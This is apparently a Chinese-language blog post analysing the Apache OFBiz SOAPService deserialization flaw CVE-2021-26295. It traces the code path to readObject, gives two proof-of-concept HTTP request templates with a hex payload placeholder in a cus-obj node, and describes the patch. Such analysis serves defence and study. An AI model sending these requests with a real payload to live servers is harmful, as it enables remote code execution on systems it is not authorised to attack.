Apache Ofbiz反序列化(CVE-2021-26295)分析

Web路由

<!-- framework\webtools\webapp\webtools\WEB-INF\web.xml --><servlet>
    <description>Main Control Servlet</description>
    <display-name>ControlServlet</display-name>
    <servlet-name>ControlServlet</servlet-name>
    <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
    <load-on-startup>1</load-on-startup></servlet><servlet-mapping>
    <servlet-name>ControlServlet</servlet-name>
    <url-pattern>/control/*</url-pattern></servlet-mapping>

根据以往的CVE-2020-9496漏洞分析可知,ControlServlet中调用了getRequestHandler,跟进getRequestHandler来到RequestHandler,关键代码如下

this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
public static URL getControllerConfigURL(ServletContext context) {
	try {
		return context.getResource(controllerXmlFileName);
	} catch (MalformedURLException e) {
		Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
		return null;
	}
}

其中controllerXmlFileName为/WEB-INF/controller.xml
在./framework/webtools/webapp/webtools/WEB-INF/controller.xml中看到soap类型的uri为SOAPService,SOAPService为本次漏洞的入口

知道controllerConfigURL后,回到RequestHandler,发现一个工厂类

this.eventFactory = new EventFactory(context, this.controllerConfigURL);

主要作用是实例化相关的EventHandler

然后ControlServlet又调用了RequestHandler.doRequest方法处理请求,部分代码如下:

try {
	// the ServerHitBin call for the event is done inside the doRequest method
	requestHandler.doRequest(request, response, null, userLogin, delegator);
} 

详细的路由分析可参考CVE-2020-9496漏洞的分析文章

漏洞分析

本次漏洞入口SOAPService的EventHandler为SOAPEventHandler。不难发现SOAPEventHandler.invoke用来处理我们提交的soap消息,下面对其进行分析

org.apache.ofbiz.webapp.event.SOAPEventHandler调用了SoapSerializer.deserialize(第177行)

SOAPBody reqBody = reqEnv.getBody();    //获取参数
validateSOAPBody(reqBody);              //验证参数
OMElement serviceElement = reqBody.getFirstElement();
serviceName = serviceElement.getLocalName();    //Envelope
Map<String, Object> parameters = UtilGenerics.cast(SoapSerializer.deserialize(serviceElement.toString(), delegator));

跟进SoapSerializer.deserialize发现调用了XmlSerializer.deserialize,跟进该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml。在deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()
部分代码如下

  public static Object deserializeSingle(Element element, Delegator delegator) throws SerializeException {
    String tagName = element.getLocalName();
    if ("null".equals(tagName))
      return null; 
    if (tagName.startsWith("std-")) {
      if ("std-String".equals(tagName))
        return element.getAttribute("value"); 
      if ("std-Integer".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Integer.valueOf(valStr);
      } 
      if ("std-Long".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Long.valueOf(valStr);
      } 
      if ("std-Float".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Float.valueOf(valStr);
      } 
      if ("std-Double".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Double.valueOf(valStr);
      } 
      if ("std-BigDecimal".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return new BigDecimal(valStr);
      } 
      if ("std-Boolean".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Boolean.valueOf(valStr);
      } 
      if ("std-Locale".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return UtilMisc.parseLocale(valStr);
      } 
      if ("std-Date".equals(tagName)) {
        String valStr = element.getAttribute("value");
        DateFormat formatter = getDateFormat();
        Date value = null;
        try {
          synchronized (formatter) {
            value = formatter.parse(valStr);
          } 
        } catch (ParseException e) {
          throw new SerializeException("Could not parse date String: " + valStr, e);
        } 
        return value;
      } 
    } else if (tagName.startsWith("sql-")) {
      if ("sql-Timestamp".equals(tagName)) {
        String valStr = element.getAttribute("value");
        try {
          Calendar cal = DatatypeConverter.parseDate(valStr);
          return new Timestamp(cal.getTimeInMillis());
        } catch (Exception e) {
          Debug.logWarning("sql-Timestamp does not conform to XML Schema definition, try java.sql.Timestamp format", module);
          return Timestamp.valueOf(valStr);
        } 
      } 
      if ("sql-Date".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Date.valueOf(valStr);
      } 
      if ("sql-Time".equals(tagName)) {
        String valStr = element.getAttribute("value");
        return Time.valueOf(valStr);
      } 
    } else {
      if (tagName.startsWith("col-")) {
        Collection<Object> value = null;
        if ("col-ArrayList".equals(tagName)) {
          value = new ArrayList();
        } else if ("col-LinkedList".equals(tagName)) {
          value = new LinkedList();
        } else if ("col-Stack".equals(tagName)) {
          value = new Stack();
        } else if ("col-Vector".equals(tagName)) {
          value = new Vector();
        } else if ("col-TreeSet".equals(tagName)) {
          value = new TreeSet();
        } else if ("col-HashSet".equals(tagName)) {
          value = new HashSet();
        } else if ("col-Collection".equals(tagName)) {
          value = new LinkedList();
        } 
        if (value == null)
          return deserializeCustom(element); 
        Node curChild = element.getFirstChild();
        while (curChild != null) {
          if (curChild.getNodeType() == 1)
            value.add(deserializeSingle((Element)curChild, delegator)); 
          curChild = curChild.getNextSibling();
        } 
        return value;
      } 
      if (tagName.startsWith("map-")) {
        Map<Object, Object> value = null;
        if ("map-HashMap".equals(tagName)) {
          value = new HashMap<>();
        } else if ("map-Properties".equals(tagName)) {
          value = new Properties();
        } else if ("map-Hashtable".equals(tagName)) {
          value = new Hashtable<>();
        } else if ("map-WeakHashMap".equals(tagName)) {
          value = new WeakHashMap<>();
        } else if ("map-TreeMap".equals(tagName)) {
          value = new TreeMap<>();
        } else if ("map-Map".equals(tagName)) {
          value = new HashMap<>();
        } 
        if (value == null)
          return deserializeCustom(element); 
        Node curChild = element.getFirstChild();
        while (curChild != null) {
          if (curChild.getNodeType() == 1) {
            Element curElement = (Element)curChild;
            if ("map-Entry".equals(curElement.getLocalName())) {
              Element mapKeyElement = UtilXml.firstChildElement(curElement, "map-Key");
              Element keyElement = null;
              Node tempNode = mapKeyElement.getFirstChild();
              while (tempNode != null) {
                if (tempNode.getNodeType() == 1) {
                  keyElement = (Element)tempNode;
                  break;
                } 
                tempNode = tempNode.getNextSibling();
              } 
              if (keyElement == null)
                throw new SerializeException("Could not find an element under the map-Key"); 
              Element mapValueElement = UtilXml.firstChildElement(curElement, "map-Value");
              Element valueElement = null;
              tempNode = mapValueElement.getFirstChild();
              while (tempNode != null) {
                if (tempNode.getNodeType() == 1) {
                  valueElement = (Element)tempNode;
                  break;
                } 
                tempNode = tempNode.getNextSibling();
              } 
              if (valueElement == null)
                throw new SerializeException("Could not find an element under the map-Value"); 
              value.put(deserializeSingle(keyElement, delegator), deserializeSingle(valueElement, delegator));
            } 
          } 
          curChild = curChild.getNextSibling();
        } 
        return value;
      } 
      if (tagName.startsWith("eepk-"))
        return delegator.makePK(element); 
      if (tagName.startsWith("eeval-"))
        return delegator.makeValue(element); 
    } 
    return deserializeCustom(element);       //这里是反序列化相关操作
  }

org.apache.ofbiz.entity.serialize.XmlSerializer中468行的deserializeCustom()方法

public static Object deserializeCustom(Element element) throws SerializeException {
String tagName = element.getLocalName();
if ("cus-obj".equals(tagName)) {
	String value = UtilXml.elementValue(element);
	if (value != null) {
	byte[] valueBytes = StringUtil.fromHexString(value);
	if (valueBytes != null) {
		Object obj = UtilObject.getObject(valueBytes);
		if (obj != null)
		return obj; 
	} 
	} 
	throw new SerializeException("Problem deserializing object from byte array + " + element.getLocalName());
} 
throw new SerializeException("Cannot deserialize element named " + element.getLocalName());
}

如果tag标签为cus-obj则获取标签内容,从16进制转为字符串,最后调用getObject方法。跟进getObject发现又调用了 getObjectException(),继续跟进漏洞就很明显了

public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); 
	SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
	return wois.readObject();
} 
}

构造POC

soap请求基本格式为

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
    
</soapenv:Body></soapenv:Envelope>
  1. 解析xml的时候首先获取了Body的子节点,因此我们在Body下添加一个任意的节点。
  2. 从deserializeSingle进入反序列化可以直接构造节点不满足所有if条件,直接执行最后的deserializeCustom。
  3. deserializeCustom中将cus-obj节点的内容从16进制转为字符串,因此我们的payload要转成16进制。

PS:网上公开的方式都是满足从394行开始的if条件,即子节点下第一个子节点必须要map-开头并且为提供的那几个字符串,让value不为空,map-下的子节点必须为map-Entry,map-Entry下的子节点必须为map-Key和map-Value,然后可以执行到第453行再次进入deserializeSingle,这时候由于不满足所有if条件而调用deserializeCustom执行反序列化。这种方式感觉有些多余了。

因此可构造poc:

POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.247.131:8443
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
Content-Length: 767

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
     <test>
        <cus-obj>[hex(payload)]</cus-obj>
     </test>
</soapenv:Body></soapenv:Envelope>

网上公开的poc为:

POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.247.131:8443
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
Content-Length: 767

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
     <test>
     <map-HashMap>
     <map-Entry>
      <map-Key>  <cus-obj>[hex(payload)]</cus-obj>
      </map-Key>
     <map-Value>
       <std-String value="testtest"/>
     </map-Value>
     </map-Entry>
     </map-HashMap>
    </test>
</soapenv:Body></soapenv:Envelope>

总结起来就是给SOAPService接口的请求消息中,构造特定的节点可执行反序列化

漏洞修复

官方修复补丁是在SafeObjectInputStream类的resolveClass方法中增加黑名单判断对象是否安全,resolveClass是在readObject中调用。

漏洞补丁:
https://github.com/apache/ofbiz-framework/commit/af9ed4e/

posted @ 2021-03-24 18:37  g0udan  阅读(358)  评论(0编辑  收藏  举报